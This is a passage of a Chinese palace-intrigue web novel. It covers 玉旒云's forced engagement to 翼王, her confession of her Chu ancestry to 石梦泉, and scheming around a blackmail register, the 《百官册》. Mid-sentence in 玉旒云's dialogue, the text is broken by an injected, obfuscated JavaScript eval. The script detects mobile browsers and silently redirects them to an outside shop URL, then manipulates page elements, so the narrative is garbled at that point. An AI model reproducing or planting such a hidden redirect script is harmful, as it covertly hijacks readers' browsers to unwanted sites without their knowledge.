虽然封内亲王、进议政处,这都是玉旒云答应翼王婚事的条件,不过并没有想到他立刻就都兑现了,玉旒云不禁皱了皱眉头,偷偷看了翼王一眼。然而很快就又明白了过来:翼王一直装疯卖傻避免被人怀疑,如今一味地把我往明里推,还不指望着拿我做挡箭牌?我何不将计就计? “又在这里胡说八道!”太后瞪了翼王一眼,“我怎么生出你这么个不思进取的儿子?皇帝,你做哥哥的要好好教导弟弟成材,要交代他一两件实在的差事去办,多历练历练才好。” “是。”庆澜帝答道。 “皇兄——”翼王夸张地作揖,“求求皇兄,放过臣弟吧。你就找个轻松点儿不费脑筋、不费力气的差事给臣弟,否则,臣弟可做不来……” “放心。”庆澜帝道,“朕正有一件差事,非得你这个亲弟弟去做不可呢。而且也不费什么力气。” “哦?”翼王立刻就问是什么差事。 庆澜帝道:“朕的万年吉地应该在虎脊山西陵选址了。这件大事自然要派皇族来主持。同辈的王爷也就只有十四弟你了,你就当是游山玩水,带人去勘定万年吉地的地点。这件差事好不好?” 选皇陵?玉旒云暗想,翼王野心勃勃,应该是指望她进了议政处好做个傀儡,帮其铺平篡位的道路,如今却被远远地派去造皇陵,他如何能答应? 果然翼王露出为难之色:“虎脊山那么远,看风水也不是十天半个月能能成的,岂不是要去很久?那不就有好长一段日子见不到玉大人了?” “没出息!”太后骂道,“玉大人已经答应嫁给你,就是你的人,难道两三个月的功夫她还能跑了不成?难得你皇兄给你找了这么个差事,你该尽心尽力去办。你的好媳妇儿,母后给你看着,还不成?” “这个……”翼王抓了抓脑袋,看看玉旒云,终于道:“好吧,好吧。”想了想,又道:“听说虎脊山北面黑凤岭产夜光玉,我亲自挖几块回来送给玉大人做补偿,如何?” 玉旒云巴不得他赶紧滚去虎脊山修皇陵,最好永远不要回来,这时只从牙缝里挤出一句:“有心。”就又低头端详酒杯。 “好了,喝了酒正好可以美美睡上一觉。”太后道,“我乏了,皇帝、皇后,你们也都安置了吧。” 听她逐客,众人自然都不可再留。庆澜帝带头,一一跪安,退出了慈宁宫来。 太监们早已为皇帝、皇后和吉嫔准备好了肩舆好各自回寝宫。翼王却道:“方才有母后在跟前,喝得也不尽兴。不如一起到皇嫂那边去重喝一回?”才说着,自己脚步踉跄,已经绊在了花盆上,且一头朝太湖石上撞了过去,要不是太监从旁扶住,他的脑袋就要破个窟窿。 “十四弟已经醉成这样,还喝呢!”玉朝雾道,“我看,你还是早些回府休息。待启程去虎脊山之前,我再请你进宫来,置酒给你饯行,如何?” 翼王扶着太监的胳膊,醉眼蒙胧:“真奇怪,那些不开心的人怎么喝也喝不醉,我如此开心才不过几杯就已经站不稳了?真是奇怪!大大的奇怪!”说着,似乎不经意地看了看石梦泉,显然刚才的话并非无的放矢。 “喝醉了话更多了!”庆澜帝道,“别叫奴才们看笑话——快给王爷准备肩舆,送他回去。” 太监们连忙答应。不时就将满嘴嘟嘟囔囔的翼王抬走了。接着,吉嫔静襄因为身子重,不便久站,玉朝雾让她先走,自己才来恭送庆澜帝。 “还是再上皇后那里去坐坐。”庆澜帝道,“皇后想来还有不少话想和玉爱卿说。朕也有些话想跟她说呢——石爱卿也一起来吧。” “啊……是。”石梦泉怔怔地答应,心里模糊的声音:也许,也许到了凤藻宫会有机会问个明白……她究竟是为了什么? 没想到,还不到凤藻宫,庆澜帝倒先问出了这个问题——当时石梦泉走在皇帝的肩舆旁,玉旒云和皇后的肩舆在后,约有一丈的距离。庆澜帝忽然问道:“石爱卿,你知不知道,玉爱卿究竟是为了什么答应了十四弟的婚事?” 石梦泉呆了呆,不待答,庆澜帝又道:“朕之前是很想撮合玉爱卿和十四弟。可是,玉爱卿几次拒绝,全京城都知道她和十四弟合不来,朕也想要放弃了,她怎么又突然……” “臣……也不知道。”石梦泉回答。 “哦?”庆澜帝惊讶地,声音稍稍有些提高。石梦泉只觉有一种犀利的寒意袭向自己,愕了愕,转头看看肩舆上的九五之尊,只见庆澜帝正盯着自己,而那寒意正是来自他的眼神。一片云遮住了月光,这眼神锐利得仿佛要穿透人的身体。石梦泉心中不禁陡然响起了赵王的话:你以为皇上真是你所看到的那样?如果他是一个毫无主见,万事都需要别人来替他决断的人,他是怎样坐上今天这个位子的? 他知道赵王谎话连篇,兵部的纪录已经证实了他的想法。不过,庆澜帝这样的目光他还是第一次见到。“臣……”一时不知要说什么。 风吹云散,月色重现,庆澜帝的神色显得和平常无异。“原来你也不知道……”他叹了口气,“玉爱卿和你自小一起长大,形影不离就像是亲手足一般。朕总以为这么大一件事她应该事先和你商量过,没想到你也……唉……” “臣猜想,”石梦泉小心翼翼地措词,虽然他觉得方才的一刹也许只不过是奇特的光影而已,但在这个危机四伏的宫廷,事关玉旒云的安危,他不得不多长个心眼儿:“臣猜想,应该是为了不让永泽公继续把持议政处,所以玉大人必须要得到内亲王的地位,这才……” “朕也这么猜。”庆澜帝道,“不过……她……她毕竟是一个女孩子家,这样拿自己的终身大事开玩笑怎么了得?可不要把她姐姐给急死?”说时伸手微微指了指后面。石梦泉回头看看,果然玉朝雾也在向玉旒云询问此事,玉旒云的神色混杂着冷淡和烦躁——她绝少在姐姐面前有此表现,因此玉朝雾担心得仿佛快要哭出来了。“和十四弟订婚来得到内亲王的地位,这是个权宜之计,也不是不能做。可是为免将来麻烦,须得想好许多步退路。”庆澜帝接着道,“但如今玉爱卿突然就说要嫁给十四弟……朕看她着她长大,知道她并不是一个行事冲动的人。这样的决定,会不会是因为有了什么突发事件?是不是三皇叔有什么动作?” 石梦泉心中乱糟糟的:赵王大半天的功夫都花在对自己连威逼带利诱上,怎么还会有机会去找玉旒云?不过赵王掌握着玉旒云的身世,这一条已经足够使玉旒云乱阵脚的了。 “算了,看来你也不知道。”庆澜帝道,“还是一会到了凤藻宫,朕亲自来问问她。如果是为了三皇叔而害了玉爱卿的终身,朕倒宁可不做这个皇帝。” “万岁——”石梦泉一惊。那几个抬肩舆的太监也都禁不住晃了晃。 庆澜帝摆摆手:“其实朕几时想要坐这个位子了?如果不是仁宗先帝无子,朕倒宁愿做个逍遥安乐的庆王爷,带着一家人无忧无虑的过日子。勉强继承了大宝,朕也不过想做个太平天子。如果三皇叔真的很想做皇帝,朕就让他来做,也没什么关系。反正他是开国元老,而永泽公也是个很会办事的青年,大樾的江山由他们这一系继承下去,也能千秋万代呢!” “万岁,这……”石梦泉惊得不知要如何接话,而那几个太监也吓得差点儿让肩舆也翻了,只是宦官不得妄议朝政,所以就算听见天大的事,他们也不敢插嘴。 偏偏在这个时候,听到后面传来玉朝雾的哭声:“云儿,你这样让姐姐怎么放得下心来?”接着就是一片惊呼:“娘娘——娘娘当心!”庆澜帝这边一行人回身去看时,只见玉朝雾从肩舆上摔了下来,幸亏玉旒云一把扶住,才没有跌伤。庆澜帝慌忙吩咐停下,自己赶过去问个究竟。 玉朝雾只是抱着妹妹痛哭:“我这个做姐姐的有什么用?娘生前对我千叮咛万嘱咐要好好照顾你,可是为了我,你已经不能像其他女孩子一样开开心心地生活,成日介去出生入死,如今连自己的终身也搭了进去,你叫我日后怎么去见九泉之下的爹娘?”太监宫女虽然知道事不关己,但见到皇后如此,稀里哗啦全都跪倒,个个叩头不止,叨念着“娘娘保重”。 庆澜帝怕玉朝雾一伤心,把惊天大秘密抖了出来,忙快步走上前去,道:“皇后说的什么傻话?翼王是朕的弟弟,天潢贵胄,无论是哪一个女子嫁给她,都有享不尽的荣华富贵。虽然他像个大孩子似的不定性,但是对玉爱卿如何,你和朕都看在眼里。玉爱卿是皇后你的妹妹,也是朕的妹妹和朕最得力的臂膀,难道她的终身朕会不在意?如果明知她会不开心的,朕能勉强她吗?”边说边向玉旒云使眼色,叫她快安慰几句。 玉旒云也意识到是自己不对:做戏当然要做全套,如今把什么都写在了脸上,连姐姐都蒙不过,怎么蒙赵王这老狐狸?又怎么蒙翼王这装疯卖傻的家伙?她赶紧牵了牵嘴角,道:“姐姐千万不要胡思乱想,其实我是真心想嫁给翼王爷的。以前你和皇上都来替我们牵线,是我不识得好歹,所以总是闹别扭。如今总算是明白了过来。我终身有托,姐姐应该高兴才是。” 这话假得有些过分了,玉朝雾狐疑地看着她,摇头道:“我不信。你到底有什么苦衷,你说出来,万岁爷一定会替你做主的!” “我哪儿有苦衷?”玉旒云道,“我明日就册封为内亲王,可算是前无古人,后无来者。有了这样的身份,将来还可以代皇上亲征,扫平天下,一统江山——梦泉,你说这岂不是大大的好事?” 石梦泉没料到她会突然问自己,愣了愣,才道:“可不是。如果大人嫁的是其他皇亲,说不定就要从此引退,在家相夫教子。唯有翼王爷不拘那繁文缛节陈规陋习,会全力支持大人继续为皇上建功立业。这果然是一件大喜事——在大人,在我大樾国都是大喜事。臣要恭喜大人,恭喜皇上,恭喜娘娘。”说着,躬身行礼。 他们越是如此,玉朝雾反而越是不信,喃喃道:“我虽不懂朝廷大事,但是你们瞒不了我……瞒……”才说着,忽然头一歪,晕了过去。太监宫女全吓得哭喊了起来。倒是玉旒云镇定地抱着姐姐,道:“乱哄哄的有什么用?还不去传太医?”听四围响起片乱七八糟的“遵命”声,她又道:“都跑来蹿去的有什么用?难道要太医在这里给娘娘诊脉么?还不速速抬娘娘回凤藻宫?”慌乱的奴才才有一些恢复了过来,七手八脚将玉朝雾重新扶上了肩舆,抬了往凤藻宫去。见他们走了有一段路,玉旒云才向庆澜帝顿首道:“皇上,臣不得已……” 庆澜帝摆摆手:“朕知道你不得已。你姐姐说的没有错,这么多年来,你做了多少一般女孩子不该做的事?吃了多少一般女孩子不该吃的苦?如今你答应嫁给十四弟,也是不得已,朕知道的……你还要亲手……唉,你姐姐也是太着急了,才会口不择言。朕何尝不着急?这其中的原委朕是一定要向你问明白的。不过今夜看来是不成了,朕要跟去凤藻宫看着你姐姐。她现在这情形,如果醒来见你在身边一定还要问个不停。你和石爱卿还是先出宫去吧。明日到御书房来,朕要问个明白,看看还有没有退路。” “皇上,”玉旒云道,“臣这么做的原因难道你还需要问吗?只要能进议政处,其他的,现在臣也管不了那么多。” “可这毕竟——” 庆澜帝没说完,玉旒云又道:“如果皇上真的想给臣一条退路,臣想向皇上求一面免死金牌。” 庆澜帝一愣:“免死金牌?什么事这么大?” 玉旒云道:“臣替皇上做的是大事,当然就怕有个万一。所以想向皇上求个免死金牌来。”说着,压低了声音:“其实臣早就想向皇上禀报了,臣猜测,赵王迟迟不动手,就是想找一个机会陷害臣,就像去年大青河之战后逼皇上将臣软禁一样,掀起一场轩然大波,然后就可以散布谣言,动摇民心。所以臣想先向皇上求一面免死金牌,有此傍身,不怕赵王玩什么花样。毕竟,明日一封内亲王,臣进了议政处,就等于正式和赵王爷宣战了。” “啊……”庆澜帝一拍脑袋,“果然!三皇叔如此狡猾,朕不知何时又会被他逼入死角。果然是先给爱卿一面免死金牌比较妥当。”他从腰里一摸,扯下枚赤金镶紫玉的蟠龙佩来,道:“也不用劳师动众打造一片金牌了,说不定还叫人发现了。这玉佩是太宗先皇在朕娶你姐姐过门时所赐,见了它就犹如见到太宗先皇,谁也不敢动你一分一毫,你拿去吧。” “谢皇上!”玉旒云双手接过,同时跪倒谢恩。 “不必如此。”庆澜帝扶她起来,“当年朕娶你姐姐时就发誓要照顾你们姐妹俩一生一世,如今竟要劳烦你来替朕操心,朕在你姐姐面前如何交代得过去?朕自知是一个很没有用的人,但只要是朕能做的,你出个声,朕一定做到。” “皇上——”玉旒云又要跪下。这次庆澜帝托住了她的手肘:“夜了,你们快点出宫休息去吧。明日上谕一发,你可有的忙了呢!” 听他这样说,玉旒云只有点点头,同石梦泉垂首肃立,恭送他上了肩舆,一路朝凤藻宫而去。到太监们的脚步声都听不见了,两人才直起身,举步出宫。 石梦泉终于等到了机会。此时不问,更待何时? “大人!”他快步追到了玉旒云的身边。 “这个给你。”玉旒云一把将太宗皇帝的蟠龙佩塞到他手里,“千万不要弄丢了。” 石梦泉呆了呆:“大人,这是什么意思?” “免死金牌。”玉旒云道,“刚才我问皇上要的,你难道没看见?放在你身边,用处大一些。” 石梦泉愈发不明。 玉旒云却笑了笑,道:“明日起我就贵为内亲王。我不信有谁敢害我的性命,更不信谁会有这个本事。我怕有些人动不了我就找你下手,所以你要把这免死金牌好好保存,说不定会有用。” 石梦泉攥着蟠龙佩,玉旒云越是语气轻松,他就越是心如刀割:“大人,到底出了什么事?你为什么会突然答应嫁给翼王爷?” 玉旒云耸耸肩:“你不是也和愉郡主定了亲么?如果我没有记错,前些天从凤藻宫里出来的时候,你也跟我说做内亲王是个不错的选择呢。” 石梦泉急了:“大人,那天我说的是句玩笑话。现在不是开玩笑的时候。大人如果是为了要内亲王的位子,为了要进议政处,为了阻止赵王爷而假意答应翼王爷的求婚,属下毫无异议。因为属下知道,大人做事很有分数,一定会留好退路。但是这些日子以来,无论在政事上如何碰壁,大人都不愿意走内亲王这一条路,可见大人想不出脱身之法。今天竟突然答应这婚事,属下想,大人一定是遇到了紧急之事,逼不得已——属下愿为大人分忧。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728654|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不要乱想……”玉旒云想一笑了之。可是,石梦泉猛地抓住她的肩膀,直直地盯着她的双眼,仿佛想一直看到她心里去。“大人可记得,在汇昌的地窖之中,我和大人说过,人要彼此信任,就不能互有隐瞒。”他声音颤抖,“我现在很害怕,我怕会又像靖杨时那样,我……” 玉旒云咬着嘴唇:靖杨!从靖杨到汇昌的那一段路,几乎就是她人生最痛苦的一程。她何尝不怕那一段再次重演?只是回想起来,自汇昌之后,她又有多少事没有向石梦泉坦白?倘若不是为了去见郭罡,也不会被翼王胁迫……但这些事可以说么?说出来又能改变什么? 烦乱时,石梦泉又道:“我知道大人做很多事都有自己的考量,不便说给我知道。我也不该强问。可是我不能眼睁睁看着大人只身犯险。” “也算不得什么险。”玉旒云道,“你不要问了,知道了对你也没什么好处。” 她这样说,等于是承认自己有苦衷。石梦泉如何肯罢休,左右看看无人,低声道:“大人,是不是赵王爷他……他威胁过你?” 玉旒云皱了皱眉头:“你……怎么这样问?” 石梦泉深吸了一口气,有些事藏在心里会把人逼疯。他自己是如此,所以他想,玉旒云背着个包袱必然也是如此。多一个人分担反而好。于是道:“赵王爷今天找过我。他和我说了……一些事。” 玉旒云的神色立刻一变:“什么事?” 关于庆澜帝的那些谎话自然不必说了,石梦泉想,因道:“赵王爷告诉我,大人你和皇后娘娘本是楚国公主,当年……” 他还一句话还没说完,玉旒云已经猛地发力挣开了他的掌握,连连退开了几步,满面寒霜道:“什么楚国公主?我才不是楚国公主!我才不是楚国人!” 她如此反应,可见赵王所言非虚。石梦泉怕她一时激动,被人见到,急忙想要拉住她。可玉旒云却闪开了,一行退,一行恨恨道:“我不是楚国人。楚国都是我的仇人!都是我的仇人!”她只顾着激愤,未留心已经到了粹华门口,一脚踏在了门槛上,就朝后摔了下去。 石梦泉叫了声“当心”,但已经来不及,只有飞身扑上将她抱住,一齐摔在了地上——粹华门外不远就是浣衣局,成日介洗濯晾晒,铺地的青砖一向都是湿漉漉的。玉旒云依然激动地挣扎,可是青砖滑溜,越急越站不起来,终于被石梦泉紧紧地压到墙角:“大人,这是宫里,小心隔墙有耳。” 玉旒云死死地咬着嘴唇,胸口剧烈地起伏:这一日之内,究竟还要有多少打击? “我记得在凉城外芙蓉庙,我和大人躲在于文正公的坟里。”石梦泉轻轻地道,“当时大人就告诉过我,于文正公是你的先父,而旁边那被烧毁的宅院就是你的家。大人你确实是楚国人。皇后娘娘是充作宗室之女来到我国和亲的。可是楚人和亲是假,伺机要刺杀太宗和仁宗是真,事败之后,又企图杀害皇后娘娘来嫁祸我国——楚人这搬歹毒,你憎恨他们是该当的。” “何止!”玉旒云咬牙切齿,“我爹的一辈子,为了楚国的江山社稷劳心劳力,结果被楚国的狗皇帝害死,我娘布施善堂,资助医馆,如果救人一命胜造七级浮屠,她不知造了几百几千级浮屠了,最后却被那连狗也不如的楚国皇后害死。我们于家会有今日,我玉旒云会有今日,都是拜楚人所赐!” 她身子颤抖得厉害,好像是被一股巨大的力量打碎成了千百块,就要在这夜风中被吹散,而她就凭着一种毅力,强要将碎片拉在一起。纠缠与挣扎,她就快要被耗尽了。 “嘘——”石梦泉握着她的手,轻轻地覆在自己的两掌之间,温柔又镇定地让她的颤栗停歇:“大人十几年来一个人背负着这些往事,是不是很累?如今说出来了,是不是好受些?” 玉旒云怔怔的,感觉暖意从双手手传来,遍及全身。她的呼吸才慢慢平复了下来,看清楚了对面是挚友那十几年来都不曾变过的温和忠诚的脸,微微的笑容,像夜色的保护,如此安全。这一天来紧绷的精神霎时松懈,浑身酸痛,才真的觉得:的确,长久以来自己一个人真的很累了。如果能有这样一个安全的保护,让她什么都不用担心,那该多么好! 正在这一愣的时候,石梦泉握着她的手将她拉向自己,那样自然而然,仿佛云彩散去月色终究会显现,大雨过后天空必然会放晴,不用思量,毫无顾虑,在不经意间,她已经被他紧紧地拥在怀中。心猛地一撞,接着就平静了,合起眼来感到了前所未有的轻松,连身体的酸痛都在瞬间消失。 “我绝对不会让任何人伤害大人。”她听见耳边低沉的话语,“我不理大人你是什么人,有怎么样的过去,又有什么目的,只是要是为了保护大人,我做什么都可以。” “真是做什么都可以?”她轻声一笑。 石梦泉一惊,发觉自己行为越轨,连忙松开了她,倒身跪下:“是,属下为大人,赴汤蹈火,在所不辞。” 玉旒云拿手指戳了戳他的额头,笑道:“谁要你赴汤蹈火?你别忘了,你不可以比我先死。” “是。”石梦泉见她情绪恢复,反而更为刚才的举动感到尴尬不已。 而玉旒云就像什么也没发生过似的,招手叫他起身,道:“我不要你赴汤蹈火,不过却有一件事情要你去办。” “什么事?” “也不是什么难办的事。”玉旒云道,“只不过是我不便出面罢了——罗满算是跟你一起在前线摸爬滚打出来的。我知道他欠了户部一笔银子,具体数目倒还不清楚。但是我想帮他把银子还了。你帮我去户部问一问,欠了多少你就替他还上,然后到我账房里来支。” “罗满欠户部银子?”石梦泉真是闻所未闻。 “赵王连我都能威胁,其他的官员又怎在话下?”玉旒云道,“我最近抓了一批楚国奸细,从他们口中得知,赵王手中有一本《百官册》,上面记载着朝廷六品以上官员的各种把柄。有关罗满的一条,就是他爹爹烂赌成性,让他这个大孝子背了一身债,用尽俸禄不算,还向户部借银。虽然向户部借银的官员多得很,但是追查谁不追查谁,还不是看户部堂官的意思——若有人能从背后威胁户部官员,那么这个人就能操纵户部去追查他想追查的人了。” “果然卑鄙!”石梦泉道,“人总有迫不得已违法乱纪的时候,这要都被赵王纪录在案,恐怕我们军中还有不少人都被赵王拿住把柄。” “不错。”玉旒云道,“可惜这本《百官册》我现在还没有见到。但是我恐怕现在正式和赵王撕破了脸来,他就要开始着手对付我们的人了,所以咱们有什么漏洞都得趁早补上,省得麻烦。” 石梦泉点头道:“的确如此。既然借银之事如此普遍,恐怕我们军中也不止罗满一人,要不要我一并都到户部查了来,把他们的亏空都还上?” 玉旒云瞥了他一眼:“虽说是我出银子,但是我家账房也不是聚宝盆,岂能一个一个都替他们还了?再说,你这样去打听,动静大了,肯定会被赵王发现,反而落人口实。我想罗满是最紧要的一个,其他的旁敲侧击,看看都是些什么人,有多少,再做打算也不迟。” 石梦泉道:“是。除了户部欠银的事之外,《百官册》上还有什么大人打听到的?” 还有陈灏是翠竹镇的杀人犯郑豪,玉旒云想,这个一时之间也想不出有什么方法可以摆平。至于石梦泉实是舒鹰后人这件事,据翼王说并未记载于《百官册》上。不知石梦泉自己晓不晓得呢? 她想了想,道:“别的我也不知,等我设法得到了《百官册》再说。看来今年下半年都要在京里和赵王斗法,暂时也不会出兵南方了。” 石梦泉不知她为何突然换话题,只答道:“是。有些士兵本来调自各省,应该让他们回去驻地。还有一些应该让他们回乡探亲。我想南方治蝗、治水也正需要人力。” 玉旒云道:“正是。待我进了议政处,将这养老税的事情一落实,京外的士兵就可以各回驻地。”顿了顿,道:“虽然会很忙,不过庆澜元年之后还是头一次我们两个能在西京过中秋和八月廿四的太祖生辰节呢。” 石梦泉怔了怔:“可不。算起来我已经有两年没在宫里看烟花了。” 玉旒云道:“不过小时候放烟花的那些事我都还记得——有一次泰王世子拿爆竹丢你,后来我把一个‘蹿天猴’插在他的帽子上,他的头发都被烧了个精光呢!” 石梦泉如何会忘记这些儿时往事?泰王世子如果还活着,也该和他们同年。只是,在仁宗朝的争斗中泰王全家被宗人府圈禁,不久阂府染病,一个都不剩了。回想起来,仁宗朝的争权夺利,最后生存下来的一个是庆澜帝,另一个就是翼王。他不想让赵王的那些话再扰乱自己的心神,只笑道:“烧光人家头发的是大人你,不过后来被罚的就是我。我在慈宁花园里跪了一夜,差点儿连路也不会走了呢!” “是啊,”玉旒云道,“偏巧你娘和你姑姑都不在宫里,是姐姐亲自帮你擦的药酒——咦,不过想起来还真是有意思,好像每年八月你娘和你姑姑都会跟我姐姐告假。”仿佛是漫不经心地提起,但是却特意看了石梦泉一眼。 石梦泉却全然没觉得有何不妥:“八月廿四其实是我爹的忌辰,娘和姑姑知道在宫中是不能拜祭的,以前皇上龙潜藩邸,那也是王府,太祖生辰节祭奠犯忌讳,所以每年这时候她们都请假回乡扫墓。毕竟南方七郡离京城远,规矩也没有那么严。” “哦?真是巧!”玉旒云道,“我才第一次听说。你离开家乡也很多年了,倒一直没有回去扫过墓。” “庆澜元年的时候去过了。”石梦泉道,“大人派我去治蝗,我就以权谋私了一次。” 玉旒云扑哧一笑:“这也叫以权谋私?换成是其他人,到了你今天这个位子上,早就大兴土木修葺祖坟宗祠,说不定还向皇上求了恩典,把祖上三代都封了官呢!” 石梦泉也笑了,道:“如果属下和‘其他人’一样,恐怕也不能够这样追随大人左右了。” 玉旒云摇摇头,举步跨回了粹华门内,继续朝原路出宫。边走边道:“所谓‘成大事者不拘小节’,这些都只是小事,我会计较么?难道我知道了罗满为还父债而闹亏空就不再继续重用他?你们谁是真的忠诚,谁是真的对我好,我心里清楚得很。” 是么?石梦泉跟在她身后越一步之遥,心中暗想:我对你的心意如何,你真的清楚么? 玉旒云继续道:“百善孝为先,我觉得你应该回去大修祖坟,还应该求皇上把你石家祖上凡是有功名的人都追封官爵。” “这……这是为何?”石梦泉不解道,“我爹生前不过是一介农夫,也是从外地逃荒来到南方七郡的,祖上是些什么人,哪里追查得出来?” “追查不出来?”玉旒云笑道,“那更好了,去查查看史上有什么与你同姓的大人物,就算成是同宗,岂不便宜?” 石梦泉愈加奇怪:“大人怎么对我的出身特别感兴趣?” “不是我感兴趣。”玉旒云道,“这不是很多人常常做的事么?凡上当皇帝的,总说自己的母亲梦日入怀,而王侯将相又常常能指出自己的祖宗十八代也是王侯将相——”她这样说着,看石梦泉的表情越来越迷惑不解,知道他对于自己的身世多半是一无所知的。这更好。她想。因哈哈笑了起来:“我跟你开玩笑——英雄莫问出处。世上太多的陈规陋习,才让人觉得非要龙生龙、凤生凤。我就偏偏要让世人知道,农夫的儿子也能做大将军,以此鼓励年轻人积极报名参军,报名加入将来的武备学塾——你就是我的一块招牌!” 石梦泉才松了一口气:“大人可真是把我弄糊涂了。” 玉旒云放慢一步,拍拍他的肩膀,道:“这一年来经历了许多事,我发现要在朝廷中立足,光会带兵打仗是不行的,还有许多别的事要留心,而其实做这些事的技巧和带兵打仗也并没有太多的差别,只要时时留意,步步为营,必然能取得最后的胜利。” “是。”石梦泉虽然胸无城府,但也承认这一年来如许风浪,更可怕的战争其实在沙场之外。 “所以今年八月你娘和姑姑回乡的时候你也应该跟着一起去。”玉旒云道,“我向皇上给你求恩典,修葺你父亲的陵墓。同时也在你的家乡建立第一所武备学塾,以志纪念。” “多谢大人。”石梦泉赶紧抱拳,“不过……西京中正多事之秋,修葺陵墓也不急在一时……” “哎——”玉旒云打断他,“有时候,在战略上,最漫长的迂回道路,常常又是达到目的的最短途径。” 石梦泉一讶,正要细细玩味这句话。玉旒云又道:“免死金牌要收好哦——快出宫吧!”说着,自己已经先行一步。 74. 第 74 章 樾国建国以来封女子为内亲王,并不是玉旒云开的先例。太祖皇帝打天下,不仅儿子们个个驰骋沙场,他的女儿长乐公主也是巾帼英雄,带领女眷们在后方打点粮草。后来有一次,敌人偷袭,长乐公主不惜以己身引开敌人,保护了大队人马和粮草辎重,而自己就落入敌手终于丧命。太祖皇帝统一各部后,追封了她为公主,而太宗建元又追封她为内亲王。皇族女子可以封王参政,自然援引此例。但是,真正切实得到这个封号的,玉旒云是第一人。上谕发出时,官员们不禁交头接耳——就算前日已经听到了风声,但还不信这是当真的,此时证实了,免不了议论纷纷。 接下来的一份旨意就是说翼王去虎脊山勘定万年吉地,钦天监已经定了出行的吉日,就在三日后。他不在期间,议政处的席位暂时交给未婚妻玉旒云。这个旨意一出,议论声更响了:素来只有父亲年迈由儿子代为议政,或者叔伯体弱由侄子代为议政——女婿或者外甥都还没有进入这“代替”之列,如今竟用未婚妻代替,实在叫人难以接受。但是圣旨也说得明白,第一,玉旒云是内亲王身份而非准王妃,所以爵位已经高于进议政处的要求——那些代长辈而来的,多是公爵,最高也不过是郡王而已;第二,议政处设立之初,就是为了要集中文武兼备的皇亲国戚,他们既是皇上的智囊,又比大臣们更有权力,要监督百官,为民请命,为天子分忧——由此看来,玉旒云虽然文治上还未有建树,但是论武功已经超越任何一位议政王,对议政的职责一定能够胜任。光是这两条就已经可以击倒一切的反对言论,何况还有翼王不顾场合地在金銮殿上开玩笑:“就这样做才是正理儿,把我放在议政处,那才叫占着茅坑不……”还没说完,已经被旁边礼部尚书重重咳嗽一声打断了。 便这样散了朝,翼王出行在即,须到工部和礼部听堂官们交代勘选皇陵的有关事宜。玉旒云当然巴不得他赶紧从自己眼前消失,于是一散朝,立即就往外走。但还是被翼王追上了,轻声笑着道:“大人逃得这么快,叫别人看见了岂不要生疑?我们才订婚就要分别,大人应该痴缠些才是。” 玉旒云白了他一眼:“我像是个痴缠的人么?要痴缠,你打可以到花街柳巷里去找一个。” 翼王自觉早已经拿住了她,就让她逞些口舌之快也无妨,就笑嘻嘻听着。 那岂知玉旒云经过这段时间郭罡的提点,已经慢慢收敛了那争一时之气的毛病,尤其前日巨变之后看清了形势,一夜思考更让她决心依靠周密计划和谨慎行动来夺取胜利,这当儿,旧毛病才一露头,她就立刻纠正了自己,道:“你就要去虎脊山了,我们没有那么多时间开玩笑。你不在期间,我在京里有许多事要做。《百官册》的抄本,按照约定,是否可以借我一看?” 翼王眯起眼睛,像是在笑,实际是细细地打量她,接着道:“自然是可以借你看。不过现在还不是时候。这是一件极厉害的宝贝,用来对付一只行将就木的老狐狸似乎有些浪费了。” 玉旒云皱了皱眉头:“你的意思?” “这件宝贝老狐狸有,我也有,就显不出它的好处。”翼王道,“如果除掉了老狐狸,那么这法宝就只在我的手中,到时候这些册中有名之人,还不是我要他方就方,要他圆就圆?” 居然留了一手!玉旒云先有些生气,但转念一想:翼王这么多年可谓“卧薪尝胆”,不留一手就怪了。因道:“又想猎狐狸,又舍不得神弓利箭,你这如意算盘打得响么?” 翼王道:“叫两只狐狸打起来,打个两败俱伤,来拣现成的便宜不就行了?” 玉旒云心中不禁一凛:莫非他是想逼赵王提前造反?“这又不是斗蟋蟀,怎可能你说打就打?再说,猎狐狸从来都是为了要皮毛,没有人是为了吃狐狸肉的。如果两只狐狸打个两败俱伤,这皮毛不早就毁了么?” 翼王这次真的露出了笑容:“至于怎么要他们打起来,这个我自然会安排。怎样不把皮毛撕烂,就要看大人的本事了。相信大人纵横沙场,千军万马都见识过了,一个小小的变乱,一定能够轻易平息。平息得越快,皮毛的损伤就越小,先死的那只狐狸,就送给大人做一顶新帽子,而剩下的那一只,有我的法宝,加上大人的本事,相信不久也会变成我的帽子了。” 说得如此隐晦,无非是他设法挑起叛乱,然后让玉旒云杀掉赵王,接着再联手除掉庆澜帝而已。玉旒云冷冷道:“你的意思,就是要我留在京中部署杀狐狸的事?” “正是。”翼王道,“大人高才,应该不费吹灰之力。” 我布置个陷阱杀你这只狐狸是真!玉旒云想。 正巧这时候工部和礼部的两位尚书走了过来:“王爷,是不是该去说说正事了?” “啊,好吧。”翼王做出不情愿之态,“我正和玉大人讨教打猎的秘诀呢,想来虎脊山一定有许多野兽可猎。” “万万不可!”礼部尚书铁青了脸,“皇陵重地,所有野兽都是神兽,伤不得分毫,王爷要千万记住。” “好,好,真是扫兴!”翼王说着,同玉旒云道了别,跟着两位尚书去了。 玉旒云看他走远,记起前夜庆澜帝叫自己去御书房见面,便对远远等着的石梦泉使了个眼色,示意他先去户部查查罗满欠银子的事,待自己见完了庆澜帝,再来会合。石梦泉会意,即步下太极殿前的台阶,追上一位户部侍郎,一同出宫往户部衙门里去。而玉旒云则朝着相反的方向,去御书房请见。 这一趟并没有什么收获。庆澜帝无非是想问她究竟为什么答应了和翼王和婚事。而她实在不能够据实以答——有一个赵王要造反已经人心惶惶,如果告诉庆澜帝连翼王也存心不轨,岂不是天下大乱?她担心皇帝没被人暗杀就先被人吓死,因此无论如何也不能说出来。自忖那所谓的“退路”,当然是等翼王东窗事发夺爵圈禁,婚约自会解除。她思量一夜,现在对于除掉翼王是满怀信心的,也就不忧愁此事。庆澜帝问了半天也没问出个所以然来,因询问一下她打算如何对付赵王,又叮嘱她得闲就去看看玉朝雾。君臣寒暄了一阵,又有旁人递牌子请见,玉旒云就辞出御书房来。 